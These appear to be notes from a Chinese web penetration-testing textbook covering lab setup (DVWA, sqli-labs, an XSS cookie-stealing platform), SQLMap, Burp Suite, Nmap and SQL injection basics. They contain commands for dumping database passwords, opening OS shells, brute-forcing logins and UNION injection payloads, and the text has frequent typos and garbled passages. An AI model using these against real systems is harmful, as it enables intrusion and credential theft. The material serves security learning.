Web安全防攻(渗透测试)
第二章
2.1 在Linux系统中安装LANMP
LANMP是Linux下Apache、Nginx、MySQL和PHP的应用环境,本节演示的是WDLinux的一款集成的安装包。
首先,下载需要的安装包,命令如下所示。
wegt http://dl.wdlinux.cn/files/lanmp_v3.tar.gz
下载完成后进行解压,解压文件的命令为tar zxvf lanmp_v3.tar.gz,运行环境如下图所示。
输入sh lanmp.sh命令运行LANMP,这时程序中会有5个选项,如下图所示:
选项1是安装Apache、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务;选项2是安装Nginx、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务:选项3是安装Nginx Apache、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务;选项4是安装所有服务:选项5是现在不安装。Zend Guard是一款PHP加密工具,经过加密的文件,务必安装Zend才能返回正常页面;PureFTPd是FTP空间服务;phpMyAdmin的作用是利用Web页面来管理MySQL数据库服务。这里可以根据自己需要的环境,自行选择。
在Kali和Ubuntu等系统中,输入sh lanmp.sh命令后提示有如下图所示错误:
这是因为系统的dash兼容性不好,而编译器常用的就是dash。所以可以输入以下命令,直接更该系统的编译器(shell)操作。
sudo dpkg-reconfigure dash
然后选择“<No>”选项,如图所示:
接着输入sudo sh lanmp.sh命令继续安装,如图所示:
接着输入sudo sh lanmp.sh命令继续安装,如图所示:
这时选择你要安装的环境即可,安装的过程可能有点慢,安装完成后即可看到如下图所示的内容。在浏览器中访问IP和8080端口,输入默认的账号admin和密码wdlinux.cn,登陆成功后应先修改默认密码,防止被攻击。
2.2 在Windows 系统中安装WAMP
WAMP是Windows中Apache、MySQL和PHP的应用环境,这里演示的是WampServer,在Web安全攻防这本书的同步网站下载其安装文件。在安装时按照弹出的对话框提示,单击“下一步”按钮。通常在安装WampServer时会遇到一个问题,提示找不到MSVCR110.dll解决方案是去 错误提示信息!下载Msvce110-zip后,将32位的系统放到C:\Windows\System32目录下,重新安装一遍就能解决。如果遇到Apache启动失败的情况,应当先卸载Apache服务,然后重新安装Apache服务并启动,如下图所示:
启动成功后访问127.0.0.1,如下图所示,表示服务已经正常运行。
2.3 搭建DVWA漏洞环境
DVWA是一款开源的渗透测试漏洞练习平台,其中内涵XSS、SQL注入、文件上传、文件包含、CSRF和暴力破解等各个难度的测试环境。在本书的同步网站下载其安装文件。在安装时需要在数据库里创建一个数据库名,进入MySQL管理中的phpMyAdmin,打开 http://127.0.0.1/phpMyAdmin/,创建名为“dvwa”的数据库,如下图示:
接着修改config文件下的config.inc.php中数据库的用户名、密码、数据库名,如下图所示:
修改完成后,保存并复制所有源码,粘贴在网站的根目录中,也就是www目录下,打开浏览器访问 http://127.0.0.1/setup.php,单击“Create/Reset Database”按钮进行安装,安装成功后如下图所示,单击“login”即可登录,默认账号为admin,密码为password。
在安装过程中可能会出现红色的Disabled,修改PHP安装目录中的php.ini文件,找到allow_url_include,把Off改为On,然后重启PHP即可解决这个问题,如下图所示:
2.4 搭建SQL注入平台
sqli-labs是一款学习SQL注入的开源平台,共有75种不同类型的注入,在本书的同步网站下载完压缩包后并解压,复制源码然后将其粘贴到网站的目录中,进入MySQL管理中的phpMyAdmin,打开 http://127.0.0.1/phpMyAdmin/,在数据库中新建库名为“security”的数据库,并把源代码中的sqli-labs.sql文件导入数据库中,如下图所示:
打开sql-connections文件夹中的db-creds.inc文件,可以修改数据库的账号、密码、库名等配置信息,笔者修改完数据库密码后,打开浏览器访问127.0.0.1/sql1/,接着单击“Setup/reset Database for labs”,如下图所示:
在www目录中创建了sql1文件夹,并把代码放在该目录下,单击“Setup/reset Database for labs”后会自动访问 http://127.0.0.1/sql1/sql-connections/setup-db-php,如果出现如图2-15所示的信息,说明安装成功。
2.5搭建XSS测试平台
XSS测试平台是测试XSS漏洞获取cookie并接收Web页面的平台,XSS可以做JS能做的所有事,包括但不限于窃取cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息(如浏览器信息、IP地址)等。这里使用的是基于xsser.me的源码。在本书的同步网站下载相关文件并解压,然后将其放置在用来搭建XSS平台的网站目录下。安装过程如下所示。
进入MySQL管理界面中的phpMyAdmin界面,新建一个XSS平台的数据库。如xssplatform:设置其用户名和密码,如图2-16所示:
修改config-php中的数据库连接字段。包括用户名、密码和数据库名,访问 XSS平台的URL地址,将注册配置中的invite改为normal,要修改的配置如图2-17所示。
进入MySQL管理中的phpMyAdmin,选择XSS平台的数据库,导入源码包中的xssplatform.sql文件,然后执行以下SQL命令,将数据库中原有的URL地址修改为自己使用的URL,如图2-18所示。同时,也需要将authtest.php中的网址代码替换为自己的URL,如图2-19中用线框标出的部分。
UPDATE oc-module SETcode=REPLACE(code,'http://xsser.me’,’ http://yourdomain/xss’)
接下来访问搭建XSS平台的URL,首先注册用户,然后在phpMyAdmin里选择oc_user,将注册用户的adminLevel改为1,如图2-20所示。再将config-php 注册配置中的normal改为invite(使用邀请码注册,即关闭开放注册的功能)。
需要配置伪静态文件(htaccess),平台根目录下创建.htaccess文件,写入以下代码。
使用注册的账号登录XSS平台,创建项目,如图:
第三章
3.1 SQLMap详解
SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。SQLMap采用了以下5种独特的SQL注入技术。
3.1.1 安装SQLMap
SQLMap的安装需要Python环境(不支持Python 3),本节使用的是Python 2.7.3,可在官网下载安装包并一键安装,安装完成后,复制Python的安装目录,添加到环境变量值中。
然后在SQLMap的官网( sqlmap: automatic SQL injection and database takeover tool)下载最新版本的SQLMap,下载到Python的安装目录下,并把SQLMap目录加到环境变量中。打开cmd,输入sqlmap.py命令后工具即可正常运行。
3.1.2 SQLMap入门
(1)判断是否存在注入
假设目标注入点是 http://192.168.1.104/sql1/Less-1/?id=11,判断其是否存在注入的命令如下所示。
Sqlmap.py -u http://129.168.1.104/sql1/Less-1/?id=1
当注入点后面的参数大于等于两个小时,需要家双引号,如下所示。
Sqlmap.py -u “ http://129.168.1.104/sql1/Less-1/?id=1&uid=2”
(2)判断文本中的请求是否存在注入
判断是否存在注入的命令如下所示。(-r一般在存在cookie注入时使用)
Sqlmap.py -r desktop/1.txt
(3) 查询当前用户的所有数据库
该命令是确定网站存在注入后,用于查询当前用户下的所有数据库。
Sqlmap.py -u http://129.168.1.104/sql1/Less-1/?id=1 –dbs
(4) 获取数据库中的表名
该命令的作用是查询完数据库后,查询指定数据库中所有的表名。
Sqlmap.py -u ” http://129.168.1.7/sql/union.php?id=1” -D dkeye –tables
(5) 获取表中的字段名
该命令的作用是查询完表名后,查询该表中所有的字段名。
Sqlmap.py -u ” http://129.168.1.7/sql/union.php?id=1” -D dkeye –T user_info --columns
(6) 获取字段内容
该命令是查询完字段名后,获取该字段中具体的数据信息。
Sqlmap.py -u ” http://129.168.1.7/sql/union.php?id=1” -D dkeye –T user_info -Cusername,password --dump
(7) 获取数据库的所有用户
该命令的作用是列出数据库的所有用户。在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出使用管理用户。
Sqlmap.py -u ” http://129.168.1.7/sql/union.php?id=1” --users
(8) 获取数据库用户的密码
该命令的作用是列出数据库用户的密码。如果当前用户有读取包含用户密码的权限,SQLMap会先列举出用户,然后列出Hash,并尝试破解。
Sqlmap.py -u ” http://129.168.1.7/sql/union.php?id=1” --passwords
(9) 获取当前网站数据库的名称
使用该命令可以列出当前的数据库。
Sqlmap.py -u ” http://129.168.1.7/sql/union.php?id=1” --current-db
(10) 获取当前网站数据库的用户名称
使用该命令可以列出当前网站使用的数据库用户。
Sqlmap.py -u ” http://129.168.1.7/sql/union.php?id=1” --current-user
3.1.3 SQLMap进阶:参数讲解
(1)--level 5:探测等级
参数—level 5指需要执行的测试等级,一共有5个等级(1~5),可不加level,默认是1.
(2)--is-dba:当前用户是否为管理权限
该命令用于查看当前账户是否为数据库管理员账户。
Sqlmap.py -u ” http://129.168.1.7/sql/union.php?id=1” --is-dba
(3) --roles:列出数据库管理员角色
该命令用于查看数据库用户的角色。如图所示:
(4)--referer: HTTP Referer头
SQLMap可以在请求中伪造HTTP中的referer,当—level参数设定为3或3以上时,会尝试对referer注入。可以使用referer命令来欺骗,如—referer 百度一下,你就知道。
(5)--sql-shell:运行自定义SQL语句
该命令用于执行指定的SQL语句。
Sqlmap.py -u ” http://129.168.1.7/sql/union.php?id=1” --sql-shell
(6)--os-cmd,--os-shell:运行任意操作系统命令
在数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL,SQLMap上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),那么创建的这两个函数就可以执行系统命令。在Microsoft SQL Server中,SQLMap将使用xp_cmdshell储存过程,如果被禁用,则SQLMap会重新启用它;如果不存在,会自动创建。
用--so-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时,仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。--so-shell支持ASP、ASP.NET、JSP和PHP四种语言。
(7)--file-read:从数据库服务器中读取文件
该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
$ python sqlmap.py -u
“ http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther”\
--file=read “C:/example.exe” -v 1
(8)--file-write --file-dest:上传文件到数据库服务器中
该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
3.1.4 SQLMap自带绕过脚本tamper的讲解
SQLMap在默认情况下除了使用CHAR()函数防止查询单引号,没有对置入的数据进行修改,读者还可以使用—tamper参数对数据修改WAF等设备,其中大部分脚本主要用正则模块替换共计载荷字符编码的方式尝试绕过WAF的检测规则,目录如下所示。
Sqlmap.py xxxxx –tamper “模块名”
目前官方提供53个绕过脚本,下面是一个tamper脚本的格式。
一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。
- Priority定义脚本的优先级,用于有多个tamper脚本的情况。
- Dependencies函数声明该脚本适用/不适用的范围,可以为空。
在日常使用中,我们会对一些网站是否有安全防护(WAF/IDS.IPS)进行试探,可以使用参数--identify-waf进行检测。
3.2 Burp Suite详解
3.2.1 Burp Suite的安装
Burp Suite是一款集成化的渗透测试工具,包含了很多功能,可以帮助我们高效地完成对Web应用程序的渗透测试和攻击。
专业版与免费版的主要区别有一下三点。
- Burp Scanner。
- 工作空间的保存和恢复。
- 拓展工具,如Target Analyzer、Content Discovery和Task Scheduler。
Burp Suite是用Java语言开发的,运行时依赖JRE,需要安装Java环境才可以运行。用百度搜索JDK,选择安装包然后下载即可,打开安装包后单击“下一步”按钮进行安装(安装路径可以自己更改或者采用默认路径)。提示安装完成后,打开cmd,输入java-version进行查看,若返回版本信息则说明已经正确安装,如图3-18所示:
接下来配置环境变量,右击“计算机”,接着单击“属性”→“高级系统设置 3.2.2 Burp →“环境变量”,然后新建系统变量,在弹出框的“变量名”处输入“JAVA_HOME”,在“变量值”处输入JDK的安装路径,如“C:\Program Files(x86)\Java\jdk1.8.0_112”, 然后单击“确定”按钮。在“系统变量”中找到PATH变量,在“变量值”的最前面加上“%JAVA HOME%bin:",然后单击“确定”按钮。在“系统变量”中找到CLASSPATH变量,若不存在则新建这个变量,在“变量值”的最前面加上“.;%JAVA_HOME%\lib\dtjar;%JAVA_HOME%\libtools.jar; ",然后单击“确定”按钮。打开cmd,输入javac,若返回帮助信息,如图3-19所示,说明已经正确配置了环境变量。
下载好的Burp无须安装,直接双击BurpLoaderjar文件即可运行。
3.2.2 Burp Suite 入门
Burp Suite代理工具是以拦截代理的方式,拦截使用通过代理的网络流量,如客户端的请求数据、服务器端的返回信息等。Burp Suite主要拦藏HTTP和HTTPS协议的流量,通过拦截,BurpSuite以中间人的方式对客户端的请求数据、服务端的返回息做各种处理。以达到安全测试的目的。
在日常工作中,最常用的Web客户端就是Web浏览器,我们可以通过设置代理位息,拦截Web浏览器的流量,并对经过Burp Suire代理的流量数据进行处理。Burp Suite运行后,BurpProxy默认本地代理端口为8080,如图3-21所示:
这里以Firefox浏览器为例,单击浏览器右上角“打开菜单”,依次单击“选项”à“常规”à“网络代理”à“设置”à“手动配置代理”,如图3-22所示,设置HTTF代理为127.0.0.1,端口为8080,与Burp Proxy中的代理一致。
1.Proxy
Burp Proxy是利用Burp开展测试流程的核心,通过代理模式,可以让我们拦截、查看、修改所有在客户端与服务端之间传输的数据。
*Burp Proxy的拦截功能主要由Intercept选项卡中的Forward、Drop、Interception is on/off和Action构成,它们的功能如下所示。
*Forward表示将拦截的数据包或修改后的数据包发送至服务器端。 Drop表示丢弃当前拦截的数据包。
*Interception is on表示开启拦截功能,单击后变为Interception is off,表示关闭拦截功能。
*单击Action按钮,可以将数据包进一步发送到Spider、Scanner、Repeater、 Intruder等功能组件做进一步的测试,同时也包含改变数据包请求方式及其 body的编码等功能。
打开浏览器,输入需要访问的URL并按回车键,这时将看到数据流量经过Burp Proxy并暂停,直到单击Forward按钮,才会继续传输下去。如果单击了Drop按钮,这次通过的数据将丢失,不再继续处理。
当Burp Suite拦截的客户端和服务器交互之后,我们可以在Burp Suite的消息分析选项中查看这次请求的实体内容、消息头、请求参数等信息。Burp有四种消息类型显示数据包:Raw、Params、Headers和Hex。
*Raw主要显示Web请求的raw格式,以纯文本的形式显示数据包,包含请求
地址、HTTP协议版本、主机头、浏览器信息、Accept可接受的内容类型字符集、编码方式、cookie等,可以通过手动修改这些信息,对服务器端进行渗透测试
*Params主要显示客户端请求的参数信息,包括GET或者POST请求的参数、 cookie参数。可以通过修改这些请求参数完成对服务器端的渗透测试。
*Headers中显示的是数据包中的头信息,以名称、值的形式显示数据包。
*Hex对应的是Raw中信息的二进制内容,可以通过Hex编辑器对请求的内容进行修改,在进行00截断时非常好用,如图3-23所示:
2.Spider
Spider的蜘蛛爬行功能可以帮助我们了解系统的结构,其中Spider爬取到的内容将在Target中展示,如图3-24所示,界面左侧为一个主机和目录树,选择具体某一个分支即可查看对应的请求与响应。
4.Decoder
Decoder的功能比较简单,它是Burp中自带的编码解码及散列转换的工具,能对原始数据进行各种编码格式和散列的转换。
Decoder的界面如图3-25所示。输入域显示的是需要编码/解码的原始数据,此处可以直接填写或粘贴,也可以通过其他Burp工具上下文菜单中的“Send to Decoder选项发送过来:输出域显示的是对输入域中原始数据进行编码/解码的结果。无论是输入域还是输出域都支持文本和Hex这两种格式,编码解码选项由解码选项(Decode as)、编码选项(Encode as)、散列(Hash)构成。在实际使用时,可以根据场景的需要进行设置。
对编码解码选项面言,目前支持URL、HTML、Base64、ASCII、十六进制、八进制、二进制和GZIP共八种形式的格式转换。Hash散列支持SHA、SHA-224、 SHA-256、SHA-384、SHA-512、MD2、MD5格式的转换。更重要的是,对同一个数据,我们可以在Decoder界面进行多次编码、解码的转换。
3.2.3 Burp Suite进阶
3.2.3.1 Scanner
Burp Scanner主要用于自动检测Web系统的各种漏洞。本小节介绍Burp Scanner的基本使用方法,在实际使用中可能会有所改变,但大体环节如下。
首先、确认BurpSute正常启动并完成浏览器代理的配置,然后进入Burp Proxy.关闭代理拦截功能,快速浏览需要扫搞的域或URL模块,此时在默认情况下,Burp Scanner会扫描通过代理服务的请求,并对请求的消息进行分析来辨别是否存在系统漏润、而且当我们打开Burp Target时,也会在站点地图中显示请求的URL树。
我们随便找一个网站进行测试,选择BurpTarget的站点地图选项下的链接,在其链接URL上右击选择“Actively scanthis host",此时会弹出过滤设置,保持默认选场即可扫描整个域,如图3-26所示:
也可以在Proxy下的HTTP history中,选择某个节点上的链接URL并右击选择Do an active scan进行扫描,如图3-27所示。这时,Burp Scanner开始扫描,在Scanner界面下双击即可看到扫描结果,如图3-28所示。
我们也可以在扫描结果中选中需要进行分析的部分,将其发送到repeater模块中进行模拟提交分析和验证,如图3-29所示。
当scanner扫描完成后,可以右击Burp Target站点地图选项下的链接,依次选择“issues”→“Report issues”选项,然后导出漏洞报告,如图3-30所示。
然后将漏洞报告以html文件格式保存,结果如图3-31所示。
通过以上操作步骤我们可以学习到:Burp Scanner主要有主动扫描和被动扫描两种扫描方式。
1.主动扫描(Active Scanner)
当使用主动扫描模式时,Burp会向应用发送新的请求并通过Payload验证漏洞。这种模式下的操作会产生大量的请求和应答数据。直接影响服务端的性能,通常用于非生产环境。主动扫描适用于以下这两类漏洞。
*客户端的漏洞,如XSS、HTTP头注入、操作重定向。
*服务端的漏洞,如SQL注入、命令行注入、文件遍历。
对第一类漏洞,Burp在检测时会提交input域,然后根据应答的数据进行解析在检测过程中,Burp会对基础的请求信息进行修改,即根据漏洞的特征对参数进行修改,模拟人的行为,以达到检测漏洞的目的:对第二类漏洞,以SQL注入为例,服务端有可能返回数据库错误提示信息,也有可能什么都不反馈。Burp在检测过程中会采用各个技术验证漏洞是否存在,例如诱导时间延迟、强制修改Boolean值、与模糊测试的结果进行比较,以提高漏洞扫描报告的准确性。
2.被动扫描(Passive Scanning)
当使用被动扫描模式时,Burp不会重新发送新的请求,只是对已经存在的请求和应答进行分析,对服务端的检测来说,这比较安全,通常适用于生产环境的检潮。一般来说,下列渴洞在被动模式中容易被检测出来。
*提交的密码为未加密的明文。
*不安全的cookie的属性。例如缺少HnpOnly和安全标志。
*cookie的范围缺失
*跨域脚本包含和站点引用泄露表单值自动填充,尤其是密码。
*SSL保护的内容缓存。目录列表。
*提交密码后应答延迟。 session令牌的不安全传输。
*敏感信息泄露,例如内部IP地址、电子邮件地址、堆栈跟踪等信息泄露。
*不安全的ViewStatc的配置
*错误或不规范的Content-Type指令
虽然被动扫描模式相比主动模式有很多不足,但同时也具有主动模式不具备的优点。除了对服务端的检测比较安全,当某种业务场景的测试每次都会破坏业务场景的某方面功能时,可以使用被动扫描模式验证是否存在漏洞,以减少测试的风险。
3.2.3.2 Intruder
Intruder是一个定制的高度可配置的工具,可以对Web应用程序进行自动化攻击,如通过标识符枚举用户名、ID和账户号码,模糊测试,SQL注入,跨站,目录遍历等。
它的工作原理是Intruder在原始请求数据的基础上,通过修改各种请求参数获取不同的请求应答。在每一次请求中,Intruder通常会携带一个或多个有效攻击载荷(Payload),在不同的位置进行攻击重放,通过应答数据的比对分析获得需要的特征数据。Burp Intruder通常被应用于以下场景。
*标识符枚举。Wcb应用程序经常使用标识符引用用户、账户、资产等数据信息。例如,用户名、文件ID和账户号码。
*提取有用的数据。在某些场景下,不是简单地识别有效标识符,而是通过简单标识符提取其他数据。例如,通过用户的个人空间ID获取所有用户在其个人空间的名字和年龄。
*模糊测试。很多输入型的漏洞(如SQL注入、跨站点脚本和文件路径遍历)可以通过请求参数提交各种测试字符串,并分析错误消息和其他异常情况,来对应用程序进行检测。受限于应用程序的大小和复杂性,手动执行这个测试是一个耗时且烦琐的过程,因此可以设置Payload,通过Burp Intruder自动化地对Web应用程序进行模糊测试。
下面将演示利用Intruder模块爆破无验证码和次数限制的网站的方法,如图3-32所示,这里使用方法只是为了实验,读者不要将其用于其他非法用途。前提是你得有比较好的字典,我们准备好的字典如图3-33所示。需要注意的是,Burp Suite的文件不要放在中文的路径下。
然后选择要进行暴力破解的参数值,将pass参数选中,单击“AddS”按钮,这只对一个参数进行暴力破解,所以攻击类型使用sniper即可,如图3-36所示。这里梦注意的是,如果要同时对用户名和密码进行破解,可以同时选中user和pass参数,日选择交叉式clusterbomb模式进行暴力破解。
*Sniper模式使用单一的Payload组。它会针对每个位置设置Payload。这种攻击类型适用于对常见漏洞中的请求参数单独进行Fuzzing测试的情景。攻击中的请求总数应该是position数量和Payload数量的乘积。
*Batteringram模式使用单一的Payload组。它会重复Payload并一次性把所有相同的Payload放入指定的位置中。这种攻击适用于需要在请求中把相同的输入放到多个位置的情景。请求的总数是Payload组中Payload的总数。
*Pitchfork模式使用多个Payload组。攻击会同步迭代所有的Payload组,把 Payload放入每个定义的位置中。这种攻击类型非常适合在不同位置中需要插入不同但相似输入的情况。请求的数量应该是最小的Payload组中的 Payload数量。
*Cluster bomb模式会使用多个Payload组。每个定义的位置中有不同的 Pavload组。攻击会迭代每个Payload组,每种Payload组合都会被测试一遍这种攻击适用于在位置中需要不同且不相关或者未知输入攻击的情景。攻击请求的总数是各Payload组中Payload数量的乘积。
这里对Status或Length的返回值进行排序,查看是否有不同之处。如果有,查看返回包是否显示为登录成功,如果返回的数据包中有明显的登录成功的信息,则说明已经破解成功,如图3-39所示。
Burp Repeater是一个手动修改、补发个别HTTP请求,并分析它们的响应的工具。它最大的用途就是能和其他Burp Suite工具结合起来使用。可以将目标站点地图、BurpProxy浏览记录、BurpIntruder的攻击结果,发送到Repeater上,并手动调整这个请来来对漏洞的探测或攻击进行微调。
Repeatcr分析选项有4种:Raw、Params、Headcrs和Hex
*Raw;显示纯文本格式的消息。在文本面板的底部有一个搜索和加亮的功能,可以用来快速定位需要寻找的字符串,如出错消息。利用搜索栏左边的弹出项,能控制状况的灵敏度,以及是否使用简单文本或十六进制进行搜索。
*Params:对于包含参数(URL查询字符串、cookie头或者消息体)的请求, Params选项会把这些参数显示为名字/值的格式,这样就可以简单地对它们进行查看和修改了。
*Headers:将以名字/值的格式显示HTTP的消息头,并且以原始格式显示消息体
*Hex:允许直接编辑由原始二进制数据组成的消息。
在渗透测试过程中,我们经常使用Repeater进行请求与响应的消息验证分析,例如修改请求参数、验证输入的漏洞;修改请求参数、验证逻辑越权;从拦截历史记录中捕获特征性的请求消息进行请求重放。本节将抓包发送到Repeater,如图3-40所示。
在Repcacr的操作界面中,左边的Rcquem为请求消息区,右边的Responsc万应省劳念区。请表清息区显示的是客户端发送的请求消息的详细信息。当我们编辑完请求消意后,单击按即可发送请求给服务端,如图3-41所示。
应答消息区显示的是对对应的请求消息单击“GO"按钮后,服务端的反馈消息。通过修改请求消息的参数来比对分析每次应答消息之间的差异,能更好地帮助我们分析系统可能存在的漏洞,如图3-42所示。
3.2.3.4 Comparer
BurpComparer在BurpSuite中主要提供一个可视化的差异比对功能,来对比分两次数据之间的区别,使用到的场合有:
*枚举用户名的过程中,对比分析登录成功和失败时,服务端反馈结果的别。
*使用Intruder进行攻击时,对于不同的服务端响应,可以很快分析出两次应的区别在哪里。
*进行SQL注入的盲注测试时,比较两次响应消息的差异,判断响应结果与注入条件的关联关系。
使用Comparer时有两个步骤,先是数据加载,如图3-43所示,然后是差异分析如图3-44所示。
Comparer数据加载的常用方式如下所示。
*从其他Burp工具通过上下文菜单转发过来。
*直接粘贴。
*从文件里加载。
加载完毕后,如果选择两次不同的请求或应答消息,则下发的比较按钮将被激活,此时可以选择文本比较或字节比较。
3.2.3.5 Sequencer
Burp Sequencer是一种用于分析数据样本随机性质量的工具。可以用它测试应用程序的会话令牌(Session token)、密码重置令牌是否可预测等场景,通过Sequencer的数据样本分析,能很好地降低这些关键数据被伪造的风险。
Burp Sequencer主要由信息截取(LiveCapture)、手动加载(Manual Load)和选项分析(Analysis Options)三个模块组成。
在截取信息后,单击Load按钮加载信息,然后单击“Analyze now”按钮进行分析,如图3-45所示。
3.3 Nmap 详解
主机信息收集技术——基础知识
黑客攻击的一般过程:
信息收集:
主要收集目标主机的相关信息,主要包括端口、服务、漏洞等信息。信息收集手段多样,可借助工具也多种多样。
端口扫描:Nmap
Nmap (网络映射器)是Gordon Lyon最初编写的一种安全扫描器,用于发现计算机网络上的主机和服务,从而创建网络的“映射”。为了实现其目标,Nmap将特定数据包发送到目标主机,然后分析响应.NMAP强大的网络工具,用于枚举和测试网络。
扫描器之王
主机信息收集技术——Nmap
nmap使用教程 Nmap 简介和使用方法 _ NJUPTOceanMa 的博客 -CSDN 博客 _ nmap
https://blog.csdn.net/m1585761297/article/details/80015726
nmap 192.168.1.1
nmap -A –T4 -v 192.168.1.1
-A 开启操作系统识别和版本识别功能
nmap没法判断操作系统类型时,会把扫描的指纹特征显示出来,让使用者自己判断。
-T 0-5档,设置扫描的快慢,0最慢,5最快;
级别越高,发包量越大,对网络带宽要求越高,另外扫描太快,容易被安全设备发现;
一般选择T4
-v 显示信息的级别,-vv 显示更详细的信息
192.168.1.1 扫描单个目标
192.168.1.1 192.168.1.5 … 扫描多个目标
192.168.1.1/24 扫描C段 或者 192.168.1.1-254
nmap -A –T4 -v -iL ~/targets.txt
-iL 表示要扫描的目标(IP地址或主机名)位于一个文档中
nmap -A –T4 -v 192.168.1.1/24 --exclude 192.168.1.100
--exclude 192.168.1.100 表示排除在外的目标,减少目标 节省时间
nmap -A –T4 -v 192.168.1.1/24 --excludefile ~/targets.txt
--excludefile ~/targets.txt 表示排除在外的目标包含在一个文档中
nmap 192.168.1.1 -p 80,443
-p 80,443 表示扫描特定(指定对应的)端口,聚焦我们的目标 节省扫描时间。如果不用-p指定端口, 默认扫描1000个常用端口 ,全端口扫描是很费时的,扫描一个主机可能需要几个小时( 2的16次方,一般用到的是1到65535,其中0不使用。系统知名端口(Well-Known Ports)为0~1023,这些端口只有系统特许的进程才能使用;1024-49151为用户端口(Registered ports)。 49152-65535称为动态端口(Dynamic Ports)。)
nmap --traceroute 192.168.1.1
nmap -O 192.168.1.1
-O 对目标进行指纹识别
nmap -sV 192.168.1.1
-sV 对具体小版本进行探测
nmap -sF -T4 192.168.1.1
-sF 利用fin包对端口进行扫描的技术,识别是否被关闭,收到RST包,说明被关闭。否则是open 或者fileter状态。
状态 |
说明 |
open |
应用程序在该 端口接收 TCP 连接或者 UDP 报文 |
closed |
关闭的端口对于nmap也是可访问的, 它接收nmap探测报文并作出响应。但没有应用程序在其上 监听 |
filtered |
由于包过滤阻止探测报文到达端口,nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备, 路由规则 或者主机上的软件防火墙 |
unfiltered |
未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。 只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态 |
open filtered |
无法确定端口是开放还是被过滤, 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢 弃了探测报文或者它引发的任何反应。 UDP,IP协议, FIN, Null 等扫描会引起。 |
主机信息收集技术——Nmap进阶
扫描脚本介绍:
位置 : nmap安装目录/scripts/ 例如/usr/share/nmap/scripts
脚本类型:
ll /usr/share/nmap/scripts | grep ^- | wc -l
使用介绍
nmap --script=auth 192.168.137.*
负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令
nmap --script=brute 192.168.137.*
提供暴力破解的方式 可对数据库, smb,snmp等服务进行简单密码的暴力猜解
nmap –script=default 192.168.137.* 或者 nmap -sC 192.168.137.*
默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击。
nmap --script=vuln 192.168.137.*
检查是否存在常见漏洞
nmap -n -p445 --script=broadcast 192.168.137.4
在局域网内探查更多服务开启状况
主机信息收集技术——zenmap
Nmap图形化界面:
第四章
4.1 SQL注入的介绍
4.1.1介绍SQL注入
SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SOI语句来实现对数据库的任意操作。
开发人员可用动态SQL语句创建通用、灵活的应用。
4.1.2 SQL注入的原理
SQL注入漏洞的产生需要满足以下两个条件:
- 参数用户可控:前端传给后端的参数内容是用户可以控制的。
- 参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
当传入的ID参数为and 1=1时,执行代码如下:
Select * from users where id = 1 and 1=1
当ID参数存在SQL注入漏洞,攻击者可以进一步拼接SQL语句进行攻击,致使数据库信息泄露,甚至进一步获取服务器权限等。
在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉持“外部参数皆不可信的原则”进行开发。
4.1.3 与MySQL注入相关的知识点
MySQL5.0版本后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,有三个表名,分别是SCHEMATA、TABLES和 COLUMNS。
SCHEMATA表存储该用户创建的所有数据库的库名,如图下图所示。该表中记录数据库库名的字段名为SCHEMA_NAME。
TABLES表存储该用户创建的所有数据库的库名和表名,表中记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME。
COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名,表中记录数据库库名、表名和字段名的字段名为TABLE SCHEMA、TABLE NAME和COLUMN_ NAME.
常用的MySQL查询语句和函数如下所示。
1.MySQL查询语句
在不知道任何条件时,语句如下所示:
SELECT 要查询的字段名FROM库名.表名
在知道一条已知条件时:
SELECT要查询的字段名FROM 库名.表名WHERE已知条件的字段名=’已知条件的值’
在知道两条已知条件时:
SELECT 要查询的字段名FROM 库名.表名WHERE已知条件1的字段名=’已知条件1的值’AND 已知条件2的字段名=’已知条件2的值’
2.limit的用法
limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录;n是指取n条记录。例如limit0,1表示从第一条记录开始,取一条记录不使用limit和使用limit查询的结果如图1和图2所示,可以很明显地看出二者的区别。
图1
图2
3.需要记住的几个函数
全 .database():当前网站使用的数据库。
防 .version():当前MySQL的版本。
user)):当前MySQL的用户。
4.注释符
在MySQL中,常见注释符的表达方式:#或--空格或/**/。
5.内联注释
内联注释的形式:/*!code*/内联注释可以用于整个SQL语句中,用来执行我们的SQL语句,例:
Index.php?id=-15/*!UNION*//*! SELECT*/1,2,3。
4.1.4 Union注入攻击
Union注入攻击的测试地址:http://www.ccctfcn/unionphp?id=1.
